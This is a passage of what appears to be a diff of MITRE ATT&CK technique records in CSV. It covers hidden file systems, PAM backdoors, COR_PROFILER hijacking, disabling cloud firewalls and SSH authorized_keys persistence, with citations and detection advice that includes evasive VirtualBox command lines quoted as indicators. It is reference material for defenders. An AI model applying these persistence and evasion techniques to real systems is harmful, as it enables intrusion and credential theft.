Windows Registry Key Modification']",,,,,"Consider monitoring for files and processes associated with running a virtual instance, such as binary files associated with common virtualization technologies (ex: VirtualBox, VMware, QEMU, Hyper-V). Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a headless (in the background with no UI) virtual instance may be especially suspect. Network adapter information may also be helpful in detecting the use of virtual instances. +Consider monitoring for process command-line arguments that may be atypical for benign use of virtualization software. Usage of virtualization binaries or command-line arguments associated with running a silent installation may be especially suspect (ex. -silent, -ignore-reboot), as well as those associated with running a headless (in the background with no UI) virtual instance (ex. VBoxManage startvm $VM --type headless).(Citation: Shadowbunny VM Defense Evasion) Similarly, monitoring command line arguments which suppress notifications may highlight potentially malicious activity (ex. VBoxManage.exe setextradata global GUI/SuppressMessages ""all""). -If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. +Monitor for commands which enable hypervisors such as Hyper-V. If virtualization software is installed by the adversary, the Registry may provide detection opportunities. Consider monitoring for [Windows Service](https://attack.mitre.org/techniques/T1543/003), with respect to virtualization software. -Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.",,,,,True,,,['User'],"['Linux', 'macOS', 'Windows']",,,,1.0 -2020-06-28 22:55:55.719000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014) +Benign usage of virtualization technology is common in enterprise environments, data and events should not be viewed in isolation, but as part of a chain of behavior.",True,['User'],"['Linux', 'macOS', 'Windows']",1.1,,,,,,, +attack-pattern,attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-28T22:55:55.719Z,2020-06-29T15:12:11.024Z,Hidden File System,"Adversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014) -Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1564/005', external_id='T1564.005'), ExternalReference(source_name='MalwareTech VFS Nov 2014', description='Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020.', url='https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html'), ExternalReference(source_name='FireEye Bootkits', description='Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.', url='https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html'), ExternalReference(source_name='ESET ComRAT May 2020', description='Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.', url='https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf'), ExternalReference(source_name='Kaspersky Equation QA', description=""Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015."", url='https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf')]",attack-pattern--dfebc3b7-d19d-450b-81c7-6dafe4184c04,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-29 15:12:11.024000+00:00,Hidden File System,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Firmware: Firmware Modification']",,,,,"Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.",,,,,True,,,"['User', 'Administrator']","['Linux', 'macOS', 'Windows']",,,,1.0 -2020-06-26 04:01:09.648000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM) +Adversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1564/005', 'external_id': 'T1564.005'}, {'source_name': 'MalwareTech VFS Nov 2014', 'description': 'Hutchins, M. (2014, November 28). Virtual File Systems for Beginners. Retrieved June 22, 2020.', 'url': 'https://www.malwaretech.com/2014/11/virtual-file-systems-for-beginners.html'}, {'source_name': 'FireEye Bootkits', 'description': 'Andonov, D., et al. (2015, December 7). Thriving Beyond The Operating System: Financial Threat Group Targets Volume Boot Record. Retrieved May 13, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2015/12/fin1-targets-boot-record.html'}, {'source_name': 'ESET ComRAT May 2020', 'description': 'Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.', 'url': 'https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf'}, {'source_name': 'Kaspersky Equation QA', 'description': ""Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015."", 'url': 'https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Windows Registry: Windows Registry Key Modification', 'File: File Modification', 'Firmware: Firmware Modification']",,"Detecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity.",True,"['User', 'Administrator']","['Linux', 'macOS', 'Windows']",1.0,,,,,,, +attack-pattern,attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-26T04:01:09.648Z,2021-10-17T14:48:33.580Z,Pluggable Authentication Modules,"Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM) Adversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor) -Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1556/003', external_id='T1556.003'), ExternalReference(source_name='Apple PAM', description='Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.', url='https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt'), ExternalReference(source_name='Man Pam_Unix', description='die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.', url='https://linux.die.net/man/8/pam_unix'), ExternalReference(source_name='Red Hat PAM', description='Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.', url='https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules'), ExternalReference(source_name='PAM Backdoor', description='zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.', url='https://github.com/zephrax/linux-pam-backdoor'), ExternalReference(source_name='PAM Creds', description='Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020.', url='https://x-c3ll.github.io/posts/PAM-backdoor-DNS/')]",attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-04-20 20:12:34.422000+00:00,Pluggable Authentication Modules,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Scott Knight, @sdotknight, VMware Carbon Black', 'George Allen, VMware Carbon Black']","['File: File Modification', 'Logon Session: Logon Session Creation']",,,,,"Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files. +Malicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1556/003', 'external_id': 'T1556.003'}, {'source_name': 'Apple PAM', 'description': 'Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.', 'url': 'https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt'}, {'source_name': 'Man Pam_Unix', 'description': 'die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.', 'url': 'https://linux.die.net/man/8/pam_unix'}, {'source_name': 'Red Hat PAM', 'description': 'Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.', 'url': 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules'}, {'source_name': 'PAM Backdoor', 'description': 'zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.', 'url': 'https://github.com/zephrax/linux-pam-backdoor'}, {'source_name': 'PAM Creds', 'description': 'Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020.', 'url': 'https://x-c3ll.github.io/posts/PAM-backdoor-DNS/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Scott Knight, @sdotknight, VMware Carbon Black', 'George Allen, VMware Carbon Black']","['File: File Modification', 'Logon Session: Logon Session Creation']",,"Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files. -Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",,,,,True,,,['root'],"['Linux', 'macOS']",,,,2.0 -2020-06-24 22:30:55.843000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) +Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).",True,['root'],"['Linux', 'macOS']",2.0,,,,,,, +attack-pattern,attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-24T22:30:55.843Z,2021-08-30T21:35:12.049Z,COR_PROFILER,"Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) -Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1574/012', external_id='T1574.012'), ExternalReference(source_name='Microsoft Profiling Mar 2017', description='Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020.', url='https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview'), ExternalReference(source_name='Microsoft COR_PROFILER Feb 2013', description='Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020.', url='https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)'), ExternalReference(source_name='RedCanary Mockingbird May 2020', description='Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.', url='https://redcanary.com/blog/blue-mockingbird-cryptominer/'), ExternalReference(source_name='Red Canary COR_PROFILER May 2020', description='Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.', url='https://redcanary.com/blog/cor_profiler-for-persistence/'), ExternalReference(source_name='Almond COR_PROFILER Apr 2019', description='Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020.', url='https://offsec.almond.consulting/UAC-bypass-dotnet.html'), ExternalReference(source_name='GitHub OmerYa Invisi-Shell', description='Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020.', url='https://github.com/OmerYa/Invisi-Shell'), ExternalReference(source_name='subTee .NET Profilers May 2017', description='Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020.', url='https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html')]",attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-06-26 16:09:58.920000+00:00,COR_PROFILER,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Jesse Brown, Red Canary']","['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Module: Module Load', 'Command: Command Execution']",,,,,"For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.",,,,,True,,,"['User', 'Administrator']",['Windows'],,,,1.0 -2020-06-24 16:55:46.243000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). +Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1574/012', 'external_id': 'T1574.012'}, {'source_name': 'Microsoft Profiling Mar 2017', 'description': 'Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview'}, {'source_name': 'Microsoft COR_PROFILER Feb 2013', 'description': 'Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020.', 'url': 'https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)'}, {'source_name': 'RedCanary Mockingbird May 2020', 'description': 'Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.', 'url': 'https://redcanary.com/blog/blue-mockingbird-cryptominer/'}, {'source_name': 'Red Canary COR_PROFILER May 2020', 'description': 'Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.', 'url': 'https://redcanary.com/blog/cor_profiler-for-persistence/'}, {'source_name': 'Almond COR_PROFILER Apr 2019', 'description': 'Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020.', 'url': 'https://offsec.almond.consulting/UAC-bypass-dotnet.html'}, {'source_name': 'GitHub OmerYa Invisi-Shell', 'description': 'Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020.', 'url': 'https://github.com/OmerYa/Invisi-Shell'}, {'source_name': 'subTee .NET Profilers May 2017', 'description': 'Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020.', 'url': 'https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jesse Brown, Red Canary']","['Windows Registry: Windows Registry Key Modification', 'Process: Process Creation', 'Module: Module Load', 'Command: Command Execution']",,"For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.",True,"['User', 'Administrator']",['Windows'],1.0,,,,,,, +attack-pattern,attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-24T16:55:46.243Z,2021-03-08T10:33:02.146Z,Disable or Modify Cloud Firewall,"Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity.(Citation: Expel IO Evil in AWS) -Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1562/007', external_id='T1562.007'), ExternalReference(source_name='Expel IO Evil in AWS', description='A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.', url='https://expel.io/blog/finding-evil-in-aws/')]",attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2021-03-08 10:33:02.146000+00:00,Disable or Modify Cloud Firewall,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Expel'],"['Firewall: Firewall Rule Modification', 'Firewall: Firewall Disable']",,,,,Monitor cloud logs for modification or creation of new security groups or firewall rules.,,,,,True,,,['User'],['IaaS'],,,,1.1 -2020-06-24 12:42:35.144000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config. +Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1562/007', 'external_id': 'T1562.007'}, {'source_name': 'Expel IO Evil in AWS', 'description': 'A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.', 'url': 'https://expel.io/blog/finding-evil-in-aws/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Expel'],"['Firewall: Firewall Rule Modification', 'Firewall: Firewall Disable']",,Monitor cloud logs for modification or creation of new security groups or firewall rules.,True,['User'],['IaaS'],1.1,,,,,,, +attack-pattern,attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-06-24T12:42:35.144Z,2020-06-25T16:32:23.367Z,SSH Authorized Keys,"Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config. -Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1098/004', external_id='T1098.004'), ExternalReference(source_name='SSH Authorized Keys', description='ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.', url='https://www.ssh.com/ssh/authorized_keys/'), ExternalReference(source_name='Venafi SSH Key Abuse', description='Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.', url='https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities'), ExternalReference(source_name='Cybereason Linux Exim Worm', description='Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.', url='https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability')]",attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-06-25 16:32:23.367000+00:00,SSH Authorized Keys,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Tony Lambert, Red Canary']","['Process: Process Creation', 'Command: Command Execution', 'File: File Modification']",,,,,"Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. +Adversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse) (Citation: Cybereason Linux Exim Worm)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'persistence'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1098/004', 'external_id': 'T1098.004'}, {'source_name': 'SSH Authorized Keys', 'description': 'ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.', 'url': 'https://www.ssh.com/ssh/authorized_keys/'}, {'source_name': 'Venafi SSH Key Abuse', 'description': 'Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.', 'url': 'https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities'}, {'source_name': 'Cybereason Linux Exim Worm', 'description': 'Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.', 'url': 'https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Tony Lambert, Red Canary']","['Process: Process Creation', 'Command: Command Execution', 'File: File Modification']",,"Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. -Monitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.",,,,,True,,,"['User', 'Administrator']","['Linux', 'macOS']",,,,1.0 -2020-06-23 22:28:28.041000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution 